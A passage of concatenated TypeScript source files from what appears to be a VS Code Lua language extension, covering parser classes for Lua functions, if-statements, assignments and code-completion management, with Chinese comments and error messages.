118 | } else {
119 | this.lp.setError(nextToken, "意外的字符")
120 | }
121 |
122 | return;
123 |
124 | }
125 |
126 | this.check(newLuaInfo, isSemicolons)
127 | if (this.lp.isError) return
128 |
129 | } else if (this.lp.consume('[', nextToken, TokenTypes.Punctuator)) {
130 | this.lp.luaValidateBracket_G.check(luaInfo, true)
131 | } else if (this.lp.consume(':', nextToken, TokenTypes.Punctuator)) {
132 | this.checkModuleFunctionCall(luaInfo, isSemicolons)
133 | }
134 |
135 | }
136 | }
137 | }
138 | /**
139 | * 检查模块方法调用
140 | */
141 | public checkModuleFunctionCall(luaInfo: LuaInfo, isSemicolons: boolean) {
142 | var token: TokenInfo = this.lp.getCurrentToken("module 方法调用错误");
143 | if (this.lp.isError) return
144 | if (token.type != TokenTypes.Identifier) {
145 | this.lp.setError(token, "module 方法调用错误 出现意外字符")
146 | return
147 | }
148 | var newLuaInfo: LuaInfo = new LuaInfo(token)
149 | if (luaInfo != null) {
150 | luaInfo.setNextLuaInfo(newLuaInfo)
151 | }
152 | else {
153 |
154 | }
155 | var nextToken:TokenInfo = this.lp.getNextToken("module 方法调用错误");
156 | if (this.lp.isError) return
157 | if (!this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
158 |
159 |
160 | if (
161 | nextToken.type == TokenTypes.BooleanLiteral ||
162 | nextToken.type == TokenTypes.NilLiteral ||
163 | nextToken.type == TokenTypes.NumericLiteral ||
164 | nextToken.type == TokenTypes.StringLiteral ||
165 | nextToken.type == TokenTypes.VarargLiteral
166 | ) {
167 |
168 | luaInfo.getTopLuaInfo().isNextCheck = false
169 | return
170 | } else if (this.lp.consume('{', nextToken, TokenTypes.Punctuator)) {
171 | var tableLuaInfo: LuaInfo = new LuaInfo(nextToken)
172 |
173 | this.lp.luaTableParse.check(tableLuaInfo)
174 | luaInfo.getTopLuaInfo().isNextCheck = false
175 |
176 | return
177 | }else
178 | {
179 | this.lp.setError(token, "module 方法调用错误")
180 | }
181 | return
182 | }
183 | this.lp.functionCall.check(newLuaInfo, isSemicolons, false)
184 | if (this.lp.isError) return
185 |
186 | }
187 |
188 | }
--------------------------------------------------------------------------------
/src/luatool/LuaComment.ts:
--------------------------------------------------------------------------------
1 | 'use strict';
2 | import {Range} from 'vscode-languageclient';
3 | /**
4 | * 提示
5 | */
6 | export default class LuaComment
7 | {
8 | constructor(content,range:Range)
9 | {
10 | this.content = content;
11 | this.range = range;
12 | }
13 | public content:string = null;
14 | public range:Range =null;
15 |
16 | }
--------------------------------------------------------------------------------
/src/luatool/LuaFuncitonCheck.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType } from './TokenInfo';
2 | import { LuaParse } from './LuaParse'
3 | import { CLog } from './Utils'
4 | import { ExtensionManager } from "../luatool/ex/ExtensionManager"
5 | export class LuaFuncitonCheck {
6 | private lp: LuaParse;
7 |
8 | constructor(luaparse: LuaParse) {
9 | this.lp = luaparse;
10 | }
11 |
12 | /**
13 | * 检查if 语句
14 | */
15 | public check(): boolean {
16 |
17 | var functionToken: TokenInfo = this.lp.getCurrentToken("代码未完成")
18 | if (this.lp.isError) return;
19 | if (this.lp.consume('function', functionToken, TokenTypes.Keyword)) {
20 |
21 | return this.checkGlobalFunction(functionToken);
22 |
23 | } else {
24 | if (this.checkIsLocal()) {
25 | var functionToken1: TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex + 1, "代码未完成");
26 | if (this.lp.consume('function', functionToken1, TokenTypes.Keyword)) {
27 | this.lp.tokenIndex++;
28 |
29 | return this.checkLocalFunction(null, functionToken.comments);
30 |
31 | }
32 | }
33 | }
34 | return false
35 | }
36 |
37 | public currentFunLuaInfo: LuaInfo;
38 | public checkGlobalFunction(functionToken: TokenInfo): boolean {
39 |
40 | var luaInfo: LuaInfo = new LuaInfo(this.lp.getTokenByIndex(this.lp.tokenIndex + 1, "funcito 未完成"));
41 | luaInfo.type = LuaInfoType.Function;
42 | // luaInfo.name = "";
43 | if (functionToken.comments && functionToken.comments.length > 0) {
44 | luaInfo.startToken.comments = functionToken.comments
45 | luaInfo.setComments(functionToken.comments)
46 | }
47 | while (true) {
48 | CLog();
49 | var token: TokenInfo = this.lp.getNextToken("function 未完成")
50 | if(token == null){
51 | return false
52 | }
53 | // luaInfo.name = luaInfo.name + token.value;
54 | if (token.type == TokenTypes.Identifier) {
55 | var nextToken: TokenInfo = this.lp.getNextToken("function 未完成")
56 | if (this.lp.consume('.', nextToken, TokenTypes.Punctuator)) {
57 | // luaInfo.name = luaInfo.name+".";
58 |
59 | continue;
60 | } else if (this.lp.consume(':', nextToken, TokenTypes.Punctuator)) {
61 | // luaInfo.name = luaInfo.name +":"
62 | if (ExtensionManager.em.luaIdeConfigManager.moduleFunNestingCheck) {
63 | if (this.currentFunLuaInfo) {
64 | this.lp.setError(token, "module 方法出现嵌套", this.currentFunLuaInfo.startToken);
65 | return
66 | }
67 |
68 |
69 | this.currentFunLuaInfo = luaInfo
70 | var funResult = this.checkLocalFunction(luaInfo, functionToken.comments);
71 | this.currentFunLuaInfo = null
72 | return funResult
73 | }
74 | else {
75 | var funResult = this.checkLocalFunction(luaInfo, functionToken.comments);
76 |
77 | return funResult
78 | }
79 |
80 | } else if (this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
81 | this.lp.tokenIndex--;
82 | var endToken: TokenInfo = this.lp.getCurrentToken(null);
83 | var returnValue = this.lp.luaFunctionParse.check(luaInfo, true, null)
84 | this.lp.luaInfoManager.addFunctionCompletionItem(luaInfo, endToken, this.lp.getUpToken())
85 |
86 | return returnValue
87 |
88 | }
89 | else {
90 | this.lp.setError(token, "function 意外的字符");
91 | return false
92 | }
93 | } else {
94 | this.lp.setError(token, "function 意外的字符");
95 | return false
96 | }
97 | }
98 |
99 |
100 | }
101 |
102 | public checkLocalFunction(luaInfo: LuaInfo, comments: Array): boolean {
103 | var token: TokenInfo = this.lp.getNextToken("function 未完成")
104 | if (luaInfo == null) {
105 | luaInfo = new LuaInfo(token);
106 | luaInfo.isLocal = true
107 |
108 | luaInfo.setComments(comments)
109 | }
110 |
111 |
112 |
113 | if (token.type == TokenTypes.Identifier) {
114 |
115 | var endToken: TokenInfo = this.lp.getCurrentToken(null)
116 |
117 |
118 | var result: boolean = this.lp.luaFunctionParse.check(luaInfo, true, null)
119 |
120 | this.lp.luaInfoManager.addFunctionCompletionItem(luaInfo, endToken, this.lp.getUpToken())
121 |
122 | return result
123 | } else {
124 | this.lp.setError(token, "function 意外的字符");
125 | return false
126 | }
127 | }
128 |
129 | /**
130 | * 是否是local
131 | */
132 | public checkIsLocal(): boolean {
133 | var token = this.lp.getCurrentToken("代码未完成");
134 | if (this.lp.isError) return false
135 | var isLocal: boolean = this.lp.consume('local', token, TokenTypes.Keyword)
136 |
137 | return isLocal;
138 | }
139 | }
--------------------------------------------------------------------------------
/src/luatool/LuaFunctionParse.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | import {ExtensionManager} from "../luatool/ex/ExtensionManager"
5 | export class LuaFunctionParse {
6 | private lp: LuaParse;
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 |
11 |
12 |
13 |
14 |
15 |
16 | public check(luaInfo: LuaInfo, isSemicolons: boolean, checkBreak: Function): boolean {
17 | var t: TokenInfo = this.lp.getCurrentToken(null)
18 | luaInfo.type = LuaInfoType.Function
19 |
20 |
21 | var funName = t.value;
22 | var nindex: number = t.index;
23 | while (true) {
24 | nindex--;
25 | var upToken: TokenInfo = this.lp.getTokenByIndex(nindex, null);
26 |
27 | if (upToken == null) {
28 | break;
29 | }
30 | nindex--;
31 | if (
32 |
33 | this.lp.consume(':', upToken, TokenTypes.Punctuator) ||
34 | this.lp.consume('.', upToken, TokenTypes.Punctuator)) {
35 | var mtokenInfo: TokenInfo = this.lp.getTokenByIndex(nindex, null);
36 | funName = mtokenInfo.value + upToken.value + funName;
37 | } else {
38 | break;
39 | }
40 | }
41 | if(luaInfo.isAnonymousFunction)
42 | {
43 |
44 | funName = "TempFun_"+luaInfo.startToken.line +"_"+ luaInfo.startToken.lineStart
45 | }
46 |
47 |
48 |
49 | //console.log("开始解析funcation")
50 | if (this.setFunctionParam(luaInfo) == false) return false
51 | this.lp.luaInfoManager.currentFcim.setBeginFunName(funName,luaInfo.params);
52 | this.lp.tokenIndex++;
53 | //进行方法内的解析
54 | var isEnd = this.lp.setLuaInfo(luaInfo, function (luaParse: LuaParse) {
55 |
56 | var token: TokenInfo = luaParse.getTokenByIndex(luaParse.tokenIndex, null)
57 | if (token == null) {
58 | luaParse.setError(luaParse.getLastToken(), "function 未结束", luaInfo.startToken)
59 | //"start line:"+luaInfo.startToken.line + " function 未结束"
60 | }
61 | if (luaParse.isError) {
62 | return false
63 | }
64 | if (luaParse.consume('end', token, TokenTypes.Keyword)) {
65 | if (isSemicolons) {
66 | luaParse.checkSemicolons()
67 | }
68 | luaParse.tokenIndex++;
69 |
70 | return true
71 | }
72 | return false
73 | }, checkBreak)
74 | if (isEnd) {
75 |
76 |
77 | this.lp.luaInfoManager.currentFcim.setEndFun();
78 | return true
79 | }
80 | else {
81 | if (this.lp.isError) return;
82 | var currerntToken = this.lp.getCurrentToken(null)
83 | if(currerntToken== null){
84 | currerntToken = this.lp.getLastToken()
85 | }
86 | this.lp.setError(currerntToken, "function 未结束",luaInfo.startToken)
87 | return false
88 | }
89 |
90 | }
91 |
92 | /**
93 | * 解析方法参数
94 | */
95 | public setFunctionParam(luaInfo: LuaInfo) {
96 | // console.log("解析 方法参数 中...")
97 | //判断是否为 '('
98 | var bracketToken = this.lp.getNextToken("function 未结束")
99 | if (bracketToken === null) return false
100 | if (!this.lp.consume('(', bracketToken, TokenTypes.Punctuator)) {
101 | this.lp.setError(bracketToken, "意外的字符")
102 | return false
103 | }
104 |
105 | var bracketToken = this.lp.getNextToken("function 未结束")
106 | if (bracketToken === null) return false
107 | //判断是不是没有参数
108 | if (this.lp.consume(')', bracketToken, TokenTypes.Punctuator)) {
109 |
110 | return true;
111 | }
112 | this.lp.tokenIndex--;
113 | var bracketCount: number = 0
114 | //方法参数只接受 TokenTypes.Identifier TokenTypes.VarargLiteral
115 | var isFist = true;
116 | while (true) {
117 | CLog();
118 | if (!isFist) {
119 | //检查逗号
120 | var commaToken = this.lp.getTokenByIndex(this.lp.tokenIndex + 1, "function 未结束");// this.getNextToken("方法未完成")
121 | if (commaToken == null) return false;
122 | if (!this.lp.consume(',', commaToken, TokenTypes.Punctuator)) {
123 | this.lp.setError(commaToken, "应该为 ','")
124 | return false
125 | } else {
126 | this.lp.tokenIndex++;
127 | }
128 | }
129 | var paramToken = this.lp.getNextToken("参数 定义 未完成");
130 | if (paramToken == null) return false;
131 | if (paramToken.type == TokenTypes.Identifier || paramToken.type == TokenTypes.VarargLiteral) {
132 | isFist = false;
133 | // if(paramToken.type == TokenTypes.Identifier)
134 | // {
135 | // var pluaInfo:LuaInfo = new LuaInfo(paramToken);
136 | // pluaInfo.setEndToken(paramToken)
137 | // }
138 | var index = luaInfo.addParam(paramToken.value)
139 | if(ExtensionManager.em.luaIdeConfigManager.luaFunArgCheck)
140 | {
141 |
142 | if (index > -1) {
143 | this.lp.setError(paramToken, "方法参数:'"+ paramToken.value + "'在第" + index + " 个参数已经存在")
144 | return false;
145 | }
146 | }
147 |
148 | //判断有没有结束
149 | if (this.lp.consume(')', this.lp.getTokenByIndex(this.lp.tokenIndex + 1, "function 未结束"), TokenTypes.Punctuator)) {
150 | this.lp.tokenIndex++;
151 | return true;
152 | }
153 | }
154 | else {
155 | this.lp.setError(paramToken, "意外的字符")
156 | return false
157 | }
158 |
159 | }
160 |
161 | }
162 |
163 |
164 |
165 |
166 |
167 | }
--------------------------------------------------------------------------------
/src/luatool/LuaIfLogic.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | export class LuaIfLogic {
4 | private lp: LuaParse;
5 | constructor(luaparse: LuaParse) {
6 | this.lp = luaparse;
7 | }
8 |
9 | /**
10 | * 检查if 语句
11 | * isElseIf 是否检查 elseif 默认为false
12 | */
13 | public check(parent: LuaInfo, isIf:boolean, isElseIf: boolean , isElse:boolean,checkBreak:Function): boolean {
14 |
15 | //创建一个luaInfo 标识未 ifLuaInfo
16 |
17 | var token: TokenInfo = this.lp.getCurrentToken("代码未完成")
18 | var luaInfo: LuaInfo = new LuaInfo(token)
19 | if(this.lp.isError)return
20 | var returnValue:any = false
21 | if (this.lp.consume('if', token, TokenTypes.Keyword)) {
22 | luaInfo.type = LuaInfoType.IF
23 | luaInfo.name = token.value
24 | returnValue = this.checkIfAndElseIF(luaInfo,token,checkBreak)
25 |
26 | }
27 | else if(isElseIf == true && this.lp.consume('elseif', token, TokenTypes.Keyword))
28 | {
29 | luaInfo.type = LuaInfoType.ELSEIF
30 | luaInfo.name = token.value
31 | returnValue = this.checkIfAndElseIF(luaInfo,token,checkBreak)
32 | }else if(isElse == true && this.lp.consume('else', token, TokenTypes.Keyword))
33 | {
34 | luaInfo.type = LuaInfoType.ELSE
35 | luaInfo.name = token.value
36 | returnValue = this.checkLuaInfos(luaInfo,false,false,checkBreak);
37 | }
38 | else
39 | {
40 | return false
41 | }
42 |
43 | if(returnValue == "end")
44 | {
45 | this.lp.tokenIndex++;
46 | return true
47 | }else
48 | {
49 | if(returnValue == "elseif")
50 | {
51 | var re = this.check(luaInfo,false,true,true,checkBreak)
52 | if(this.lp.isError)return false
53 | if(re == false)
54 | {
55 |
56 | this.lp.setError(this.lp.getCurrentToken(null), luaInfo.name + " 代码未完成")
57 | return false
58 | }
59 | return re
60 | }else if(returnValue == "else")
61 | {
62 | this.lp.tokenIndex++;
63 | var revalue = this.checkLuaInfos(luaInfo,false,false,checkBreak)
64 | if(this.lp.isError)return false
65 | if(revalue == "end")
66 | {
67 | this.lp.tokenIndex++;
68 | return true
69 | }else
70 | {
71 | this.lp.setError(this.lp.getCurrentToken(null),luaInfo.name + " 代码未完成")
72 | return false
73 | }
74 |
75 | }else
76 | {
77 | if(this.lp.isError)return false
78 | this.lp.setError(this.lp.getLastToken(), luaInfo.name + " 代码未完成")
79 | return false
80 | }
81 |
82 | }
83 |
84 |
85 |
86 | }
87 |
88 | public checkIfAndElseIF(luaInfo:LuaInfo,token:TokenInfo,checkBreak:Function):any
89 | {
90 |
91 |
92 | this.lp.tokenIndex++;
93 | this.lp.luaSetValue.check(false,false,null)
94 | if (this.lp.isError) return false
95 | var thenToken = this.lp.getNextToken("缺少 then")
96 | if (this.lp.isError) return false
97 | if (!this.lp.consume('then', thenToken, TokenTypes.Keyword)) {
98 | this.lp.setError(thenToken, "应该为then")
99 | if (this.lp.isError) return false
100 | }
101 | this.lp.tokenIndex++;
102 | return this.checkLuaInfos(luaInfo,true,true,checkBreak);
103 | }
104 |
105 | public checkLuaInfos(LuaInfo:LuaInfo,isCheckElseIf:boolean,ischeckElse:boolean,checkBreak:Function):any
106 | {
107 | // var token: TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex, "代码未完成")
108 | // if(this.lp.isError)return false
109 | // if (this.lp.consume('end', token, TokenTypes.Keyword)) {
110 | // this.lp.tokenIndex++;
111 | // this.lp.checkComma()
112 | // return "end"
113 | // }
114 | var returnValue:any = this.lp.setLuaInfo(LuaInfo,
115 | function (luaParse: LuaParse):any {
116 |
117 | var token: TokenInfo = luaParse.getTokenByIndex(luaParse.tokenIndex , "代码未完成")
118 | if (luaParse.isError) return false
119 | if (luaParse.consume('end', token, TokenTypes.Keyword)) {
120 |
121 | luaParse.checkSemicolons()
122 | return "end"
123 | } else if (isCheckElseIf == true && luaParse.consume('elseif', token, TokenTypes.Keyword)) {
124 | return "elseif"
125 | } else if (ischeckElse == true && luaParse.consume('else', token, TokenTypes.Keyword))
126 | {
127 | return "else"
128 | }
129 | return false
130 | },checkBreak)
131 | return returnValue
132 | }
133 |
134 |
135 |
136 | }
--------------------------------------------------------------------------------
/src/luatool/LuaInfoManager.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType } from './TokenInfo';
2 | import { LuaParse } from "./LuaParse"
3 | import { CompletionItem, CompletionItemKind, Uri } from "vscode"
4 | import { LuaFiledCompletionInfo } from "./provider/LuaFiledCompletionInfo"
5 | import { FileCompletionItemManager, CompletionItemSimpleInfo } from "./manager/FileCompletionItemManager"
6 | import { CLog,getCurrentFunctionName } from './Utils'
7 | import vscode = require('vscode');
8 | import { LuaFileCompletionItems } from "./manager/LuaFileCompletionItems";
9 |
10 | export class FindCompletionInfo {
11 | public moduleName: string;
12 | public keys: Array;
13 | }
14 |
15 |
16 | export class LuaInfoManager {
17 |
18 | public tokens: Array;
19 | public fileCompletionItemManagers: Map;
20 |
21 | public lp: LuaParse;
22 |
23 |
24 | public currentFcim: FileCompletionItemManager;
25 |
26 | constructor() {
27 |
28 | this.fileCompletionItemManagers = new Map();
29 | }
30 | private initKeyWrodCompletioins() {
31 |
32 | }
33 | public setFcim(uri: Uri, fcim: FileCompletionItemManager) {
34 | this.fileCompletionItemManagers.set(uri.path, fcim);
35 | }
36 | public getFcim(uri: Uri): FileCompletionItemManager {
37 | var fcim: FileCompletionItemManager = null;
38 | if (this.fileCompletionItemManagers.has(uri.path)) {
39 | fcim = this.fileCompletionItemManagers.get(uri.path)
40 | }
41 | return fcim;
42 | }
43 | public getFcimByPathStr(path:string):FileCompletionItemManager
44 | {
45 | var fcim: FileCompletionItemManager = null;
46 | if (this.fileCompletionItemManagers.has(path)) {
47 | fcim = this.fileCompletionItemManagers.get(path)
48 | }
49 | return fcim;
50 | }
51 | public init(lp: LuaParse, uri: Uri, tempUri: Uri) {
52 | this.lp = lp;
53 | this.tokens = lp.tokens;
54 | this.currentFcim = new FileCompletionItemManager(tempUri);
55 | this.fileCompletionItemManagers.set(uri.path, this.currentFcim);
56 |
57 | }
58 | public addFunctionCompletionItem(luaInfo: LuaInfo, token: TokenInfo, functionEndToken: TokenInfo) {
59 | this.currentFcim.addFunctionCompletion(this.lp, luaInfo, token, functionEndToken)
60 | }
61 | public addCompletionItem(luaInfo: LuaInfo, token: TokenInfo): LuaFiledCompletionInfo {
62 |
63 | var completion = this.currentFcim.addCompletionItem(this.lp,
64 | luaInfo, token, this.tokens,false,true);
65 |
66 |
67 | return completion
68 |
69 | }
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | public addSymbol(luaInfo: LuaInfo, token: TokenInfo, functionEndToken: TokenInfo, symolName: string) {
78 | this.currentFcim.addSymbol(this.lp, luaInfo, token, functionEndToken, symolName)
79 | }
80 |
81 |
82 |
83 | public addGlogCompletionItems(items: Array) {
84 | this.fileCompletionItemManagers.forEach((v, k) => {
85 | if (k != LuaParse.checkTempFilePath) {
86 | items.push(v.luaGolbalCompletionInfo)
87 | }
88 |
89 | })
90 | this.fileCompletionItemManagers.forEach((v, k) => {
91 | if (k != LuaParse.checkTempFilePath) {
92 | items.push(v.luaFunCompletionInfo)
93 | }
94 |
95 | })
96 | }
97 |
98 |
99 |
100 |
101 |
102 |
103 | public getFunctionArgs(tokens: Array, uri: Uri) {
104 | var fcim: FileCompletionItemManager = this.getFcimByPathStr(uri.path)
105 | var funNames: Array = getCurrentFunctionName(tokens)
106 | if (fcim == null) {
107 | return [];
108 | }
109 | return fcim.getSymbolArgsByNames(funNames)
110 |
111 |
112 | }
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 | }
--------------------------------------------------------------------------------
/src/luatool/LuaLeftCheck.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | export class LuaLeftCheck {
5 | private lp: LuaParse;
6 |
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 |
11 | /**是否为 多变量声明 */
12 | public isMultipleVariables:boolean =false
13 | public luaInfos:Array;
14 | public parent:LuaInfo;
15 | public isLocal:boolean;
16 |
17 | public check(parent: LuaInfo) {
18 | this.luaInfos = new Array();
19 | this.isLocal = false;
20 | this.isMultipleVariables = false;
21 | this.parent = parent;
22 | //创建leftLuaInfo
23 | var toekn:TokenInfo = this.lp.getCurrentToken(null)
24 |
25 | var currentLuaInfo:LuaInfo = new LuaInfo(toekn)
26 | this.isLocal = this.checkIsLocal(currentLuaInfo)
27 | if(this.lp.isError)return
28 | currentLuaInfo.isLocal = this.isLocal;
29 | currentLuaInfo.isVar = true
30 | if(this.isLocal)
31 | {
32 | currentLuaInfo.startToken = this.lp.getCurrentToken(null);
33 | currentLuaInfo.startToken.comments = this.lp.getUpToken().comments;
34 | }
35 | this.luaInfos.push(currentLuaInfo)
36 | this.checkLeftExoression(currentLuaInfo,new Array())
37 | currentLuaInfo = null
38 |
39 | }
40 |
41 | /**
42 | * 是否是local
43 | */
44 | public checkIsLocal(luaInfo:LuaInfo): boolean {
45 | var token = this.lp.getCurrentToken("代码未完成");
46 | if(this.lp.isError)return false
47 | var isLocal: boolean = this.lp.consume('local', token, TokenTypes.Keyword)
48 | if (isLocal)
49 | {
50 | this.lp.tokenIndex++;
51 | luaInfo.setComments(token.comments)
52 | }
53 | return isLocal;
54 | }
55 |
56 | /**
57 | * 检查 变量声明
58 | * @isIdentifier 是否必须为 TokenTypes.Identifier 类型
59 | */
60 | public checkLeftExoression( leftLuaInfo: LuaInfo,leftLuaInfos:Array) {
61 | while(true)
62 | {
63 | CLog();
64 | this.lp.luaChuckInfo.check(leftLuaInfo,true)
65 | if(this.lp.isError)return
66 | //方法调用直接退出
67 | if(leftLuaInfo.type == LuaInfoType.FunctionCall1)
68 | {
69 | return
70 | }
71 | if(!leftLuaInfo.isNextCheck)
72 | {
73 |
74 | return;
75 | }
76 |
77 | var token:TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex+1,null)
78 | if(token == null)
79 | {
80 | if(leftLuaInfo.isLocal == false )
81 | {
82 | var last:LuaInfo= leftLuaInfo.getLastLuaInfo();
83 | // leftLuaInfo.type == LuaInfoType.Function
84 | var type = leftLuaInfo.type
85 | if(type != LuaInfoType.AnonymousFunction)
86 | {
87 | this.lp.setError(leftLuaInfo.startToken, "没有赋值")
88 | }
89 |
90 | }
91 | leftLuaInfo.setEndToken(this.lp.getCurrentToken(null))
92 | return
93 | }
94 | this.lp.tokenIndex++;
95 | //赋值
96 | if(this.lp.consume('=', token, TokenTypes.Punctuator) )
97 | {
98 | var endToken:TokenInfo = this.lp.getUpToken()
99 |
100 | leftLuaInfos.push(leftLuaInfo)
101 | this.lp.tokenIndex++;
102 | //设置value
103 | this.lp.luaSetValue.check(true,true,leftLuaInfos)
104 | if(leftLuaInfo.type == LuaInfoType.Function)
105 | {
106 | this.lp.luaInfoManager.addFunctionCompletionItem(leftLuaInfo,endToken,this.lp.getUpToken())
107 | }else
108 | {
109 | leftLuaInfo.setEndToken(endToken);
110 | }
111 |
112 | return
113 | }
114 | else if(this.lp.consume(',', token, TokenTypes.Punctuator))
115 | {
116 |
117 | leftLuaInfo.setEndToken(this.lp.getUpToken())
118 | leftLuaInfos.push(leftLuaInfo)
119 | this.lp.tokenIndex++;
120 | this.isMultipleVariables = true
121 | var currentLuaInfo : LuaInfo = new LuaInfo(this.lp.getTokenByIndex(this.lp.tokenIndex,null))
122 | currentLuaInfo.isLocal = this.isLocal
123 | currentLuaInfo.isVar = true
124 | currentLuaInfo.ismultipleVariables = true
125 | this.luaInfos.push(currentLuaInfo)
126 | this.checkLeftExoression(currentLuaInfo,leftLuaInfos)
127 | return
128 | }
129 | else if(this.lp.consume(';', token, TokenTypes.Punctuator))
130 | {
131 | if(this.isLocal == false || (this.isLocal && this.isMultipleVariables))
132 | {
133 | this.lp.setError(this.lp.getCurrentToken(null), "没有赋值")
134 |
135 | }
136 | leftLuaInfo.setEndToken(this.lp.getUpToken())
137 | // this.lp.tokenIndex++;
138 | return
139 | }
140 | else
141 | {
142 | if(this.isLocal == false)
143 | {
144 | if(token.type == TokenTypes.StringLiteral)
145 | {
146 | return
147 | }
148 | else if(!this.lp.consume('=', token, TokenTypes.Punctuator) )
149 | {
150 | if(token.type == TokenTypes.Identifier){
151 | this.lp.setError(this.lp.getTokenByIndex(this.lp.tokenIndex, null),"我猜测这是一个方法参数,但是请加()")
152 | }
153 | else
154 | {
155 | this.lp.setError(this.lp.getTokenByIndex(this.lp.tokenIndex-1, null),"没有赋值")
156 | }
157 | return false
158 | }
159 | }
160 | leftLuaInfo.setEndToken(this.lp.getUpToken())
161 | this.lp.tokenIndex--;
162 | return
163 | }
164 | }
165 |
166 | }
167 |
168 |
169 |
170 | public checkLastLuaInfoType(luaInfo:LuaInfo,type: LuaInfoType):boolean
171 | {
172 | while(true)
173 | {
174 | CLog();
175 | if(luaInfo.getNextLuaInfo() == null)
176 | {
177 | if(luaInfo.type == type)return true
178 | else return false
179 | }else
180 | {
181 | luaInfo =luaInfo.getNextLuaInfo();
182 | }
183 | }
184 | }
185 |
186 |
187 |
188 | }
--------------------------------------------------------------------------------
/src/luatool/LuaSetValue.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, LuaInfoTypeValue, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | export class LuaSetValue {
5 | private lp: LuaParse;
6 | constructor(luaparse: LuaParse) {
7 | this.lp = luaparse;
8 | }
9 | //value 只能是
10 | /**是否检查分号 */
11 | public check(isSemicolons:boolean,isComma:boolean,leftLuaInfos:Array,index:number=0):Array {
12 | var luaInfo:LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
13 |
14 | //检查是否为一元
15 | var luainfos: Array = new Array()
16 | while (true) {
17 | CLog();
18 | var nextLuaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
19 | luainfos.push(nextLuaInfo)
20 | this.lp.luaCheckUnary.check(nextLuaInfo);
21 | nextLuaInfo.startToken = this.lp.getCurrentToken(null);
22 | this.lp.luaChuckInfo.check(nextLuaInfo,isSemicolons)
23 |
24 | if (this.lp.isError) return null
25 | if(nextLuaInfo.type == LuaInfoType.Function)
26 | {
27 | if(nextLuaInfo.unarys.length == 0) {
28 | nextLuaInfo.valueType = LuaInfoTypeValue.Function
29 | if(leftLuaInfos != null && index <= leftLuaInfos.length-1)
30 | {
31 | var linfo:LuaInfo = leftLuaInfos[index];
32 | linfo.params =nextLuaInfo.params;
33 | linfo.type = LuaInfoType.Function;
34 | }
35 |
36 |
37 | }else
38 | {
39 | this.lp.setError(nextLuaInfo.unarys[0],"function 定义前有多余字符")
40 |
41 | }
42 | }
43 |
44 | if(nextLuaInfo.type == LuaInfoType.Table){
45 | nextLuaInfo.valueType = LuaInfoTypeValue.Table
46 | if(leftLuaInfos != null && index <= leftLuaInfos.length-1)
47 | {
48 | var linfo:LuaInfo = leftLuaInfos[index];
49 | linfo.tableFileds =nextLuaInfo.tableFileds;
50 |
51 | }
52 | //table 直接返回
53 |
54 |
55 | }
56 | var nextToken: TokenInfo = this.lp.getNextToken(null);
57 | if(nextToken == null)
58 | {
59 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
60 | if(nextLuaInfo.type != LuaInfoType.FunctionCall1
61 | )
62 | {
63 | nextLuaInfo.setEndToken(this.lp.getUpToken())
64 | }
65 |
66 |
67 |
68 | return luainfos
69 | }
70 | //验证是否为括号 ]
71 | //判断二元
72 |
73 | if (this.lp.luaValidateOperator.check(nextToken)) {
74 |
75 | nextLuaInfo.setEndToken(this.lp.getUpToken())
76 | this.lp.tokenIndex++;
77 | nextLuaInfo.operatorToken = nextToken
78 | continue
79 | }
80 | else if(this.lp.consume(',',nextToken,TokenTypes.Punctuator))
81 | {
82 | if(leftLuaInfos != null && index > leftLuaInfos.length -1)
83 | {
84 | this.lp.setError(nextToken,"多余的变量赋值");
85 | return
86 | }
87 | nextLuaInfo.setEndToken(this.lp.getUpToken())
88 | if(isComma){
89 | this.lp.tokenIndex++;
90 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
91 | if(this.lp.isError)return
92 |
93 | this.check(isSemicolons,isComma,leftLuaInfos,++index);
94 |
95 | return luainfos
96 | }else
97 | {
98 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
99 | this.lp.tokenIndex--;
100 | return luainfos
101 | }
102 | }
103 | else if( this.lp.consume(';',nextToken,TokenTypes.Punctuator))
104 | {
105 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
106 | if(isSemicolons == false)
107 | {
108 | this.lp.tokenIndex--;
109 | }
110 | return luainfos
111 | }
112 | else {
113 |
114 | if(nextLuaInfo.type == LuaInfoType.Field && nextToken.type == TokenTypes.StringLiteral)
115 | {
116 | var upToken:TokenInfo = this.lp.getUpToken();
117 | nextLuaInfo.type = LuaInfoType.FunctionCall1
118 |
119 | }else
120 | {
121 | this.lp.tokenIndex--;
122 | }
123 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
124 | if(nextLuaInfo.type != LuaInfoType.Bracket_M &&
